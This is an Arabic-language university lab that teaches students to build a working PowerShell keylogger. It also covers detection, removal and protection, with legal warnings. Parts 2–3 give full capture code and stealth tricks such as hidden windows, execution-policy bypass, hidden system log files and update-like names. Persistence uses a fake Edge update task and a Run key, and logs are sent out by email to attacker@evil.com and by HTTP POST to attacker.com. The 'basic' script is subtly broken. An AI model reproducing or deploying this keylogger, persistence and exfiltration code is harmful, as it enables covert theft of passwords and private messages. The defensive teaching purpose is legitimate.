انتقل إلى المحتوى الرئيسي

المختبر 3.3: مسجل مفاتيح PowerShell - التقاط ضربات لوحة المفاتيح

الأهداف التعليمية​

في نهاية هذا المختبر، ستكون قادرًا على:

  • فهم كيفية عمل مسجل المفاتيح
  • إنشاء مسجل مفاتيح PowerShell بسيط
  • تنفيذ التخفي والاستمرارية
  • كشف وجود مسجل مفاتيح
  • فهم المخاطر المرتبطة بأجهزة الكمبيوتر العامة وغير المراقبة
  • تطبيق تدابير الحماية

المدة المقدرة​

35 دقيقة

المتطلبات المسبقة​

  • جهاز افتراضي Windows 10/11
  • PowerShell
  • فهم المختبرات 3.1 و 3.2

السياق المهني​

يتم استخدام مسجلات المفاتيح من قبل:

  • المهاجمين لسرقة كلمات المرور والمعلومات الحساسة
  • الشركات لمراقبة الموظفين (بموافقة قانونية!)
  • الآباء لمراقبة نشاط الأطفال (الرقابة الأبوية)
  • الحكومات للمراقبة المستهدفة (بأمر قضائي)

هذا المختبر يوضح:

  • كيف يمكن التقاط كل ما تكتبه
  • لماذا أجهزة الكمبيوتر العامة خطيرة
  • كيف يعمل لصوص الهوية
  • أهمية الأمان المادي
  • تقنيات الكشف

⚠️ تحذير أخلاقي وقانوني - مهم للغاية​

هذا المختبر يعلم إنشاء مسجل مفاتيح

مسجلات المفاتيح هي أدوات غازية للغاية تلتقط كل ما يتم كتابته: كلمات المرور، الرسائل الخاصة، البريد الإلكتروني، أرقام بطاقات الائتمان، إلخ.

قانوني فقط إذا:

  • على جهاز الكمبيوتر/الجهاز الافتراضي الخاص بك
  • بموافقة خطية من جميع الأشخاص المراقبين
  • لاختبارات الأمان المصرح بها بموجب عقد
  • للمراقبة الأبوية القانونية (للقاصرين فقط)

غير قانوني تمامًا:

  • التثبيت على جهاز كمبيوتر شخص آخر دون موافقة
  • على أجهزة الكمبيوتر العامة (مكتبة، مقهى، إلخ.)
  • على أجهزة الكمبيوتر الخاصة بالعمل دون إذن صاحب العمل
  • على أجهزة الكمبيوتر الخاصة بالزوج/الشريك/العائلة دون موافقة

عواقب خطيرة للغاية:

  • جريمة خطيرة: انتهاك الخصوصية (قانون العقوبات المادة 184)
  • السجن حتى 5 سنوات
  • غرامات ضخمة
  • سجل جنائي دائم
  • دعوى مدنية للتعويضات
  • الطرد الأكاديمي

في بعض البلدان/الولايات:

  • تسجيل المفاتيح = جريمة على نفس مستوى التنصت
  • عقوبات أكثر صرامة

هذا المختبر هو للفهم والدفاع فقط

من خلال إجراء هذا المختبر، تفهم أن هذه التقنيات موجودة وتتعلم كيفية الحماية منها. الاستخدام الخبيث هو مسؤوليتك وسيكون له عواقب قانونية خطيرة.

الجزء 1: فهم مسجلات المفاتيح​

الخطوة 1.1: ما هو مسجل المفاتيح؟​

مسجل المفاتيح = برنامج (أو جهاز) يسجل جميع ضربات لوحة المفاتيح.

التقاط:

  • كلمات المرور
  • الرسائل (البريد الإلكتروني، الدردشة، الرسائل النصية)
  • المستندات المكتوبة
  • عمليات البحث على الويب
  • أرقام بطاقات الائتمان
  • رمز PIN
  • كل شيء!

الأنواع:

  1. البرمجيات (هذا المختبر): برنامج يعمل في الخلفية
  2. الأجهزة: جهاز مادي بين لوحة المفاتيح والكمبيوتر
  3. مستوى النواة: مدمج في نظام التشغيل
  4. مستوى المشرف: على مستوى الافتراضية

الخطوة 1.2: كيف يعمل؟​

المبدأ التقني:

  1. ربط لوحة المفاتيح: يعترض أحداث لوحة المفاتيح
  2. التقاط المفتاح: يسجل أي مفتاح يتم الضغط عليه
  3. الطابع الزمني: الوقت الدقيق للضربة
  4. النافذة النشطة: أي برنامج/موقع نشط
  5. الحفظ: يكتب في ملف سجل مخفي
  6. الاستخراج: يرسل السجلات إلى المهاجم

واجهة برمجة التطبيقات المستخدمة في Windows:

  • GetAsyncKeyState() - حالة المفاتيح الحالية
  • GetForegroundWindow() - النافذة النشطة
  • GetWindowText() - عنوان النافذة

أسئلة:

  1. هل سبق لك استخدام جهاز كمبيوتر عام (مكتبة، مقهى)؟
  2. هل قمت بكتابة كلمات مرور على هذه الأجهزة؟

الخطوة 1.3: سيناريوهات الاستخدام الخبيث​

السيناريو 1: جهاز كمبيوتر عام

  • مسجل مفاتيح مثبت على جهاز كمبيوتر في المكتبة
  • تكتب كلمة مرور البريد الإلكتروني/البنك
  • المهاجم يستعيد السجل لاحقًا
  • يصل إلى جميع حساباتك

السيناريو 2: USB خبيث

  • مفتاح USB تم العثور عليه يحتوي على مسجل مفاتيح
  • التشغيل التلقائي أو الفضول → التثبيت
  • التقاط لعدة أشهر
  • سرقة هوية كاملة

السيناريو 3: شريك غيور

  • التثبيت على جهاز كمبيوتر مشترك
  • التقاط المحادثات، البريد الإلكتروني
  • انتهاك خطير للخصوصية
  • غير قانوني حتى بين الأزواج!

أسئلة: 3. أي سيناريو يبدو لك الأكثر احتمالًا؟ 4. كيف ستحمي نفسك؟

الجزء 2: إنشاء مسجل المفاتيح​

الخطوة 2.1: النسخة الأساسية (15 سطرًا!)​

أنشئ ملف keylogger_basic.ps1:

# مسجل مفاتيح PowerShell بسيط
$logFile = "$env:TEMP\log.txt"

Add-Type -AssemblyName System.Windows.Forms

while ($true) {
    Start-Sleep -Milliseconds 10
    
    foreach ($key in [Enum]::GetValues([System.Windows.Forms.Keys])) {
        if ([System.Windows.Forms.Control]::IsKeyLocked($key)) {
            $timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
            $logEntry = "$timestamp - $key"
            Add-Content -Path $logFile -Value $logEntry
        }
    }
}

انتباه: هذا الكود مبسط للتوضيح. النسخة الحقيقية أكثر تعقيدًا.

شغل في الخلفية:

powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File keylogger_basic.ps1

نافذة غير مرئية! مسجل المفاتيح يعمل في الخلفية.

الخطوة 2.2: النسخة المحسنة (أكثر واقعية)​

أنشئ keylogger_advanced.ps1:

# مسجل مفاتيح PowerShell متقدم
# للاستخدام التعليمي فقط!

$logFile = "$env:APPDATA\Microsoft\Windows\winlog.txt"
$lastWindow = ""

# توقيع واجهة برمجة التطبيقات في Windows
Add-Type @"
using System;
using System.Runtime.InteropServices;
using System.Text;

public class KeyLogger {
    [DllImport("user32.dll")]
    public static extern short GetAsyncKeyState(int vKey);
    
    [DllImport("user32.dll")]
    public static extern IntPtr GetForegroundWindow();
    
    [DllImport("user32.dll")]
    public static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);
}
"@

function Get-ActiveWindowTitle {
    $handle = [KeyLogger]::GetForegroundWindow()
    $title = New-Object System.Text.StringBuilder 256
    [void][KeyLogger]::GetWindowText($handle, $title, $title.Capacity)
    return $title.ToString()
}

function Write-Log {
    param($text)
    $timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
    Add-Content -Path $logFile -Value "[$timestamp] $text" -Force
}

Write-Log "===== Keylogger Started ====="

# الحلقة الرئيسية
while ($true) {
    Start-Sleep -Milliseconds 10
    
    # تحقق من النافذة النشطة
    $currentWindow = Get-ActiveWindowTitle
    if ($currentWindow -ne $lastWindow -and $currentWindow -ne "") {
        Write-Log "`n=== Window: $currentWindow ==="
        $lastWindow = $currentWindow
    }
    
    # تحقق من كل مفتاح
    for ($i = 8; $i -le 190; $i++) {
        $keyState = [KeyLogger]::GetAsyncKeyState($i)
        
        if ($keyState -eq -32767) {
            # مفتاح مضغوط
            $key = [System.Enum]::GetName([System.Windows.Forms.Keys], $i)
            
            # مفاتيح خاصة
            switch ($i) {
                8  { Write-Log "[BACKSPACE]"; break }
                9  { Write-Log "[TAB]"; break }
                13 { Write-Log "[ENTER]`n"; break }
                16 { continue } # Shift
                17 { continue } # Ctrl
                18 { continue } # Alt
                20 { Write-Log "[CAPSLOCK]"; break }
                27 { Write-Log "[ESC]"; break }
                32 { Write-Log " "; break }
                46 { Write-Log "[DELETE]"; break }
                default {
                    # حرف أو رقم
                    if ($key) {
                        $char = [char]$i
                        Write-Log $char -NoNewline
                    }
                }
            }
        }
    }
}

الميزات:

  • ✅ التقاط جميع المفاتيح
  • ✅ كشف النافذة النشطة (لمعرفة أي موقع/تطبيق)
  • ✅ طابع زمني دقيق
  • ✅ ملف سجل مخفي
  • ✅ التعامل مع المفاتيح الخاصة (Enter، Backspace، إلخ.)

أسئلة: 5. كم عدد الأسطر التي يحتوي عليها هذا المسجل؟ 6. هل من الصعب إنشاؤه؟ (الإجابة: لا!)

الخطوة 2.3: التشغيل والاختبار​

شغل مسجل المفاتيح:

Start-Process powershell -ArgumentList "-WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Path\To\keylogger_advanced.ps1"

الآن، اكتب بعض الأشياء:

  1. افتح Notepad
  2. اكتب: "هذا اختبار"
  3. افتح المتصفح
  4. اكتب: "كلمة المرور: Test123!"
  5. افتح الآلة الحاسبة
  6. اكتب بعض الأرقام

أوقف مسجل المفاتيح:

Get-Process powershell | Where-Object {$_.CommandLine -like "*keylogger*"} | Stop-Process

الخطوة 2.4: رؤية النتائج​

افتح ملف السجل:

notepad "$env:APPDATA\Microsoft\Windows\winlog.txt"

ترى:

[2024-11-08 14:23:15] ===== Keylogger Started =====

[2024-11-08 14:23:20] === Window: Sans titre - Bloc-notes ===
C e c i   e s t   u n   t e s t [ENTER]

[2024-11-08 14:23:45] === Window: Google Chrome - google.com ===
m o t   d e   p a s s e :   T e s t 1 2 3 ! [ENTER]

[2024-11-08 14:24:10] === Window: Calculatrice ===
1 2 3 4 5 6 7 8 9 0

واو! كل شيء تم التقاطه!

حتى:

  • كلمات المرور (المعروضة كنقاط ولكن تم التقاطها بوضوح!)
  • النوافذ المستخدمة
  • الوقت الدقيق
  • المفاتيح الخاصة

أسئلة: 7. هل تفاجأت برؤية كل ما تم التقاطه؟ 8. تخيل هذا الملف بعد يوم كامل...

الجزء 3: التخفي والاستمرارية​

الخطوة 3.1: جعله غير مرئي​

المشكلة الحالية:

  • عملية powershell.exe مرئية في مدير المهام
  • استهلاك وحدة المعالجة المركزية مرئي
  • ملف السجل قابل للاكتشاف

التحسينات:

1. اسم العملية مقنع:

إعادة تسمية البرنامج النصي:

  • winupdate.ps1 (يبدو كتحديث Windows)
  • svchost.ps1 (يبدو كخدمة Windows)
  • chrome_update.ps1 (يبدو كتحديث Chrome)

2. ملف السجل المخفي:

$logFile = "$env:APPDATA\Microsoft\Windows\Logs\winupdate.log"

# إنشاء مجلد إذا لم يكن موجودًا
New-Item -ItemType Directory -Force -Path (Split-Path $logFile)

# وضع علامة على الملف كمخفي ونظام
$file = Get-Item $logFile -Force
$file.Attributes = 'Hidden,System'

3. تقليل استهلاك وحدة المعالجة المركزية:

# بدلاً من 10ms، استخدم 50ms أو 100ms
Start-Sleep -Milliseconds 50

أقل دقة ولكن أقل قابلية للكشف!

الخطوة 3.2: الاستمرارية التلقائية​

الطريقة 1: مهمة مجدولة

$action = New-ScheduledTaskAction -Execute "powershell.exe" `
    -Argument "-WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Windows\Temp\winupdate.ps1"

$trigger = New-ScheduledTaskTrigger -AtLogon

$principal = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest

Register-ScheduledTask -TaskName "MicrosoftEdgeUpdateTaskMachineCore" `
    -Action $action -Trigger $trigger -Principal $principal `
    -Description "Keeps your Microsoft Edge up to date"

اسم يبدو كمهمة شرعية!

الطريقة 2: مفتاح سجل Run

$scriptPath = "C:\Windows\Temp\winupdate.ps1"
$psCommand = "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File $scriptPath"

Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" `
    -Name "WindowsSecurityUpdate" -Value $psCommand

يبدأ في كل تسجيل دخول!

الطريقة 3: خدمة Windows (متقدمة)

# إنشاء خدمة Windows مقنعة
# يتطلب امتيازات SYSTEM
# غير مغطى بالتفصيل هنا ولكنه فعال جدًا

أسئلة: 9. أي طريقة للاستمرارية تفضل؟ 10. كيف يمكن لمستخدم عادي اكتشاف ذلك؟

الخطوة 3.3: استخراج السجلات​

المشكلة: يجب على المهاجم استعادة ملف السجل

الحلول:

1. البريد الإلكتروني التلقائي (بسيط):

# إرسال السجل عبر البريد الإلكتروني كل يوم
$emailFrom = "keylogger@attacker.com"
$emailTo = "attacker@evil.com"
$subject = "Log from $env:COMPUTERNAME"
$body = Get-Content $logFile -Raw
$smtp = "smtp.attacker.com"

Send-MailMessage -From $emailFrom -To $emailTo -Subject $subject -Body $body -SmtpServer $smtp

2. تحميل HTTP (خفي):

$url = "http://attacker.com/upload.php"
$logContent = Get-Content $logFile -Raw

Invoke-WebRequest -Uri $url -Method POST -Body @{data=$logContent} -UseBasicParsing

3. قشرة عكسية دورية:

إرسال السجل عبر قشرة عكسية تم إنشاؤها (المختبر 3.2!)

4. تخزين سحابي (خفي جدًا):

# تحميل إلى Dropbox/OneDrive/Google Drive
# يمر تحت الرادار لأنه حركة مرور "شرعية"

صعب الكشف لأنه يشبه حركة المرور العادية!

الجزء 4: كشف مسجل المفاتيح​

الخطوة 4.1: الكشف عن طريق العمليات​

البحث عن عمليات PowerShell المشبوهة:

Get-Process powershell | Select-Object Id,ProcessName,StartTime,Path,CommandLine | Format-List

مشبوه إذا:

  • بدأ عند تسجيل الدخول
  • يحتوي الوسيط على "Hidden"
  • لم يتم تشغيله بواسطتك
  • يعمل منذ فترة طويلة

إنهاء العملية المشبوهة:

Stop-Process -Id <PID> -Force

الخطوة 4.2: الكشف عن طريق الملفات​

البحث عن ملفات السجلات المشبوهة:

# البحث عن ملفات .txt أو .log تم تعديلها مؤخرًا
Get-ChildItem -Path C:\Users\$env:USERNAME\AppData -Recurse -Include *.txt,*.log -Force -ErrorAction SilentlyContinue | 
    Where-Object {$_.LastWriteTime -gt (Get-Date).AddHours(-1)} |
    Select-Object FullName,Length,LastWriteTime

افحص الملفات المشبوهة:

notepad "C:\Path\To\Suspicious\File.txt"

إذا رأيت ضرباتك الخاصة = مسجل مفاتيح!

الخطوة 4.3: الكشف عن طريق المهام المجدولة​

قائمة جميع المهام:

Get-ScheduledTask | Where-Object {$_.State -eq "Ready"} | 
    Select-Object TaskName,TaskPath,State | 
    Format-Table -AutoSize

افحص المهام المشبوهة:

$task = Get-ScheduledTask -TaskName "MicrosoftEdgeUpdateTaskMachineCore"
$task | Select-Object * | Format-List
$task.Actions

مشبوه إذا:

  • الاسم يبدو كخدمة Windows ولكنه لا يوجد حقًا
  • الإجراء = PowerShell مع برنامج نصي غير معروف
  • لم تقم بإنشائه

حذف:

Unregister-ScheduledTask -TaskName "MicrosoftEdgeUpdateTaskMachineCore" -Confirm:$false

الخطوة 4.4: الكشف عن طريق السجل​

التحقق من مفاتيح Run:

Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"

أي إدخال غير معروف = مشبوه!

حذف:

Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "WindowsSecurityUpdate"

الخطوة 4.5: أدوات الكشف التلقائية​

استخدام مضاد الفيروسات/مضاد البرمجيات الخبيثة:

# فحص كامل باستخدام Windows Defender
Start-MpScan -ScanType FullScan

أدوات متخصصة:

  • Malwarebytes (مجاني)
  • HitmanPro
  • RogueKiller
  • KL-Detector (خاص بمسجلات المفاتيح)

أسئلة: 11. هل اكتشفت مسجل المفاتيح الخاص بك؟ 12. كم من الوقت استغرق الكشف؟

الجزء 5: سيناريوهات حقيقية وتأثير​

الخطوة 5.1: سرقة هوية كاملة​

ما يمكن أن يلتقطه مسجل المفاتيح في أسبوع واحد:

اليوم 1:

  • البريد الإلكتروني: اسم المستخدم + كلمة المرور
  • وسائل التواصل الاجتماعي: Facebook، Instagram، Twitter
  • عمليات البحث الشخصية على Google

اليوم 2:

  • البنك عبر الإنترنت: اسم المستخدم + كلمة المرور + الرمز
  • رقم بطاقة الائتمان + CVV + تاريخ الانتهاء
  • المحادثات الخاصة (Messenger، WhatsApp Web)

اليوم 3:

  • VPN الشركة: الوصول إلى الشبكة المؤسسية
  • رسائل البريد الإلكتروني المهنية الحساسة
  • المستندات السرية المكتوبة

اليوم 4:

  • كلمات مرور الزملاء (إذا تم مشاركتها)
  • بيانات اعتماد الخوادم
  • الأسرار الصناعية

اليوم 5-7:

  • تراكم البيانات
  • أنماط الحياة (ساعات الاتصال، العادات)
  • الاتصالات والعلاقات

النتيجة:

  • سرقة هوية كاملة
  • الوصول إلى جميع حساباتك
  • اختراق صاحب العمل الخاص بك
  • احتمال الابتزاز
  • دمار مالي محتمل

الخطوة 5.2: حالة حقيقية - Magic Lantern (FBI)​

2001: طور مكتب التحقيقات الفيدرالي مسجل مفاتيح "Magic Lantern"

  • تم نشره عبر استغلال أو وصول مادي
  • يلتقط مفاتيح التشفير
  • يتجاوز PGP وغيرها من التشفيرات

تم الكشف عنه علنًا: جدل حول الخصوصية

الخطوة 5.3: حالة حقيقية - مقاهي الإنترنت في آسيا​

2010s: تم اكتشاف مسجلات المفاتيح على 60% من أجهزة الكمبيوتر في مقاهي الإنترنت

  • تايلاند، الفلبين، الهند
  • السياح ضحايا
  • تم تفريغ الحسابات المصرفية بعد العودة إلى الوطن

نصيحة السفر: لا تصل أبدًا إلى البنك من جهاز كمبيوتر عام!

الخطوة 5.4: حالة حقيقية - شركة مخترقة​

2018: تم اختراق شركة أدوية

  • تم تثبيت مسجل مفاتيح على جهاز كمبيوتر موظف عبر التصيد الاحتيالي
  • تم التقاط وصول VPN
  • حركة جانبية إلى خوادم البحث والتطوير
  • سرقة صيغ الأدوية بقيمة تزيد عن 100 مليون دولار

التكلفة الإجمالية: إفلاس الشركة!

أسئلة: 13. هل تبدو لك هذه السيناريوهات واقعية؟ 14. ما هو التأثير إذا كان هناك مسجل مفاتيح على جهاز الكمبيوتر الخاص بك الآن؟

الجزء 6: تدابير الحماية​

الخطوة 6.1: الحماية الشخصية​

1. لا تستخدم أبدًا جهاز كمبيوتر عام لـ:

  • البنك عبر الإنترنت
  • البريد الإلكتروني
  • وسائل التواصل الاجتماعي
  • التسوق عبر الإنترنت
  • أي شيء حساس!

2. لوحة المفاتيح الافتراضية (لوحة المفاتيح على الشاشة):

osk

انقر على الحروف بدلاً من الكتابة = يتجاوز مسجل المفاتيح!

الحدود: غير عملي للاستخدام اليومي

3. مدير كلمات المرور:

Bitwarden، 1Password، LastPass:

  • الملء التلقائي = لا ضربات لوحة مفاتيح!
  • مسجل المفاتيح لا يلتقط شيئًا

4. المصادقة الثنائية (2FA):

حتى إذا تم سرقة كلمة المرور:

  • 2FA يمنع تسجيل الدخول
  • الرمز مطلوب على الهاتف

الخطوة 6.2: الحماية المؤسسية​

1. مضاد الفيروسات/EDR:

كشف واستجابة النقاط النهائية:

  • يكتشف السلوكيات المشبوهة
  • يحظر مسجلات المفاتيح المعروفة
  • ينبه فريق الأمان

2. قائمة التطبيقات المسموح بها:

يمكن تشغيل البرامج المصرح بها فقط:

# AppLocker
# Device Guard
# Windows Defender Application Control

3. سياسة تنفيذ PowerShell:

Set-ExecutionPolicy AllSigned -Force

يمكن تشغيل البرامج النصية الموقعة فقط من قبل سلطة معتمدة!

4. المراقبة:

  • SIEM (إدارة معلومات وأحداث الأمان)
  • تسجيل جميع عمليات PowerShell
  • تنبيه إذا تم التنفيذ مع "-Hidden"

الخطوة 6.3: الحماية المادية​

جهاز الكمبيوتر الشخصي:

  1. تفعيل BitLocker (يمنع التثبيت في وضع الاسترداد)
  2. القفل التلقائي بعد دقيقة واحدة
  3. كلمة مرور BIOS (يمنع التمهيد البديل)
  4. لا تتركه بدون مراقبة أبدًا

جهاز الكمبيوتر المؤسسي: 5. تشفير القرص الكامل إلزامي 6. تعطيل منافذ USB (يمنع التشغيل التلقائي) 7. المراقبة بالفيديو لغرف الخوادم 8. بطاقة الوصول مطلوبة

الجزء 7: مسجلات المفاتيح المادية​

الخطوة 7.1: ما هو مسجل المفاتيح المادي؟​

جهاز مادي:

  • موصول بين لوحة المفاتيح والكمبيوتر
  • أو مدمج في لوحة المفاتيح
  • أو مدمج في الكابل

المزايا (للمهاجم):

  • مستحيل الكشف عنه بواسطة البرامج!
  • لا يوجد مضاد فيروسات يمكنه العثور عليه
  • يعمل على جميع أنظمة التشغيل (Windows، Linux، Mac)
  • لا توجد عملية لإخفائها

المظهر:

  • يشبه محول USB
  • أو غير مرئي تمامًا (مدمج)

الخطوة 7.2: الكشف عن الأجهزة​

كيف تكتشف:

  1. الفحص البصري المنتظم

    • تحقق من توصيلات لوحة المفاتيح
    • ابحث عن الأجهزة بين لوحة المفاتيح والكمبيوتر
    • قارن مع الحالة الطبيعية

  2. التحقق من الكابلات

    • علبة مشبوهة على الكابل؟
    • الكابل أكثر سمكًا من المعتاد؟

  3. الخط الأساسي للأجهزة

    • تصوير الإعداد الطبيعي
    • المقارنة بانتظام

في المؤسسة:

  • أختام الأمان على الموصلات
  • جرد صارم للأجهزة
  • عمليات تفتيش منتظمة

الخطوة 7.3: الحماية من الأجهزة​

الحلول:

  1. لوحة مفاتيح لاسلكية Bluetooth (أصعب في الاعتراض)
  2. الفحص البصري المنتظم
  3. بيئة محكومة
  4. لوحة مفاتيح افتراضية لكلمات المرور الحساسة

الجزء 8: التمارين العملية​

التمرين 8.1: تحسين مسجل المفاتيح​

أضف هذه الميزات:

  1. التقاط لقطات شاشة دورية
  2. كشف الكلمات الرئيسية ("password"، "bank"، "credit card")
  3. تشفير ملف السجل
  4. الضغط قبل الاستخراج

التمرين 8.2: برنامج كشف​

أنشئ برنامجًا يقوم بـ:

  1. فحص عمليات PowerShell المشبوهة
  2. التحقق من المهام المجدولة
  3. البحث عن ملفات السجلات المشبوهة
  4. التحقق من مفاتيح السجل Run
  5. إنشاء تقرير HTML

التمرين 8.3: سياسة الأمان​

اكتب سياسة مؤسسية:

  • حظر مسجلات المفاتيح
  • إجراءات الكشف
  • العقوبات في حالة الاستخدام
  • تدريب الموظفين

التسليمات​

يجب تسليم:

  1. وثيقة التحليل (Word/PDF، 3-4 صفحات):

    • إجابات على الأسئلة الـ 14
    • شرح كيفية عمل مسجل المفاتيح
    • لقطة شاشة لملف السجل (مجهولة!)
    • تحليل المخاطر الشخصية

  2. لقطات شاشة (الحد الأدنى 5):

    • كود مسجل المفاتيح
    • عمليات PowerShell الجارية
    • ملف السجل مع اللقطات (مجهولة!)
    • مهمة مجدولة للاستمرارية
    • الكشف والإزالة

  3. خطة الحماية الشخصية (1-2 صفحات):

    • تقييم المخاطر الحالية الخاصة بك
    • التدابير التي يجب وضعها
    • تغييرات العادات
    • جدول زمني للتنفيذ

  4. التوعية (اختياري، +5% مكافأة):

    • فيديو أو عرض تقديمي (5 دقائق)
    • "لماذا لا تستخدم أبدًا جهاز كمبيوتر عام"
    • عرض مسجل المفاتيح
    • نصائح الحماية

معايير التقييم​

المعيارالنقاط
تم إنشاء واختبار مسجل مفاتيح وظيفي25%
فهم كيفية العمل20%
الكشف والإزالة الناجحة20%
تحليل المخاطر الحقيقية15%
خطة الحماية الشخصية15%
جودة الوثائق5%
مكافأة التوعية+5%

أوامر مرجعية سريعة​

التنفيذ​

# تشغيل مسجل المفاتيح مخفي
Start-Process powershell -WindowStyle Hidden -ArgumentList "-ExecutionPolicy Bypass -File keylogger.ps1"

# الإيقاف
Get-Process powershell | Where-Object {$_.CommandLine -like "*keylogger*"} | Stop-Process

الكشف​

# العمليات المشبوهة
Get-Process powershell | Select Id,StartTime,CommandLine

# ملفات السجلات الحديثة
Get-ChildItem -Path $env:APPDATA -Recurse -Include *.txt,*.log -Force

# المهام المجدولة
Get-ScheduledTask | Where State -eq "Ready"

# مفاتيح Run
Get-ItemProperty HKCU:\Software\Microsoft\Windows\CurrentVersion\Run

التنظيف​

# حذف المهمة
Unregister-ScheduledTask -TaskName "SuspiciousTask"

# حذف مفتاح السجل
Remove-ItemProperty -Path "HKCU:\...\Run" -Name "Suspicious"

# حذف ملف السجل
Remove-Item -Path $logFile -Force

استكشاف الأخطاء وإصلاحها​

المشكلة: مسجل المفاتيح لا يلتقط شيئًا​

الحل:

  • تحقق من أن البرنامج النصي يعمل (Get-Process powershell)
  • تحقق من أن ملف السجل تم إنشاؤه
  • حقوق الكتابة في المجلد؟

المشكلة: مضاد الفيروسات يحظر​

الحل:

  • هذا طبيعي! إنه مسجل مفاتيح!
  • أضف استثناء لهذا المختبر فقط
  • أعد تفعيل الحماية بعد ذلك

المشكلة: استهلاك وحدة المعالجة المركزية مرتفع​

الحل:

  • زيادة تأخير Start-Sleep (50ms أو 100ms)
  • تحسين الحلقة الكشف

الذهاب إلى أبعد من ذلك (اختياري)​

التحدي 1: واجهة رسومية لمسجل المفاتيح​

أنشئ واجهة رسومية لـ:

  • بدء/إيقاف الالتقاط
  • رؤية السجلات في الوقت الحقيقي
  • التصفية حسب التطبيق
  • التصدير بتنسيقات مختلفة

التحدي 2: مضاد لمسجل المفاتيح​

طور أداة تقوم بـ:

  • كشف مسجلات المفاتيح النشطة
  • إزالتها تلقائيًا
  • الحماية في الوقت الحقيقي
  • تنبيه المستخدم

التحدي 3: البحث​

ادرس مسجلات المفاتيح الاحترافية:

  • FinFisher/FinSpy (حكومي)
  • Ardamax Keylogger (تجاري)
  • Perfect Keylogger (تجاري)

قارن مع نسختك.

الموارد الإضافية​

الخاتمة​

هذا المختبر علمك:

  • إنشاء مسجل مفاتيح PowerShell وظيفي
  • تنفيذ التخفي والاستمرارية
  • كشف وإزالة مسجلات المفاتيح
  • فهم المخاطر الحقيقية
  • تطبيق تدابير الحماية

الدروس الحرجة:

  1. 15 سطرًا من الكود = مسجل مفاتيح وظيفي!
  2. كل ما تكتبه يمكن التقاطه
  3. أجهزة الكمبيوتر العامة = خطر شديد
  4. مدير كلمات المرور = حماية أساسية
  5. لا تكتب كلمات المرور الحساسة على جهاز كمبيوتر غير آمن
  6. الكشف صعب ولكن ممكن مع اليقظة

الوعي:

بعد هذا المختبر، لن ترى لوحة المفاتيح بنفس الطريقة مرة أخرى. في كل مرة تكتب فيها كلمة مرور، اسأل نفسك: "هل هذا الكمبيوتر آمن؟"

احمِ نفسك:

  • استخدم مدير كلمات المرور الآن
  • فعل 2FA على جميع حساباتك
  • لا تقم أبدًا بالمعاملات البنكية على جهاز كمبيوتر عام
  • تحقق بانتظام من عملياتك
  • علم من حولك

الرسالة النهائية:

لديك الآن القدرة على إنشاء مسجل مفاتيح في بضع دقائق. هذه القدرة تأتي مع مسؤولية كبيرة.

استخدم هذه المعرفة لـ:

  • ✅ حماية نفسك
  • ✅ حماية الآخرين
  • ✅ توعية من حولك
  • ✅ اختبارات الأمان المصرح بها

أبدًا لـ:

  • ❌ التجسس
  • ❌ السرقة
  • ❌ انتهاك الخصوصية
  • ❌ الإضرار

كن من الجيدين. 🛡️

تم تطوير المختبر كجزء من دورة أنظمة التشغيل - الوحدة 3

⚠️ تذكير نهائي: مسجل المفاتيح على جهاز كمبيوتر شخص آخر = جريمة خطيرة. السجن مضمون.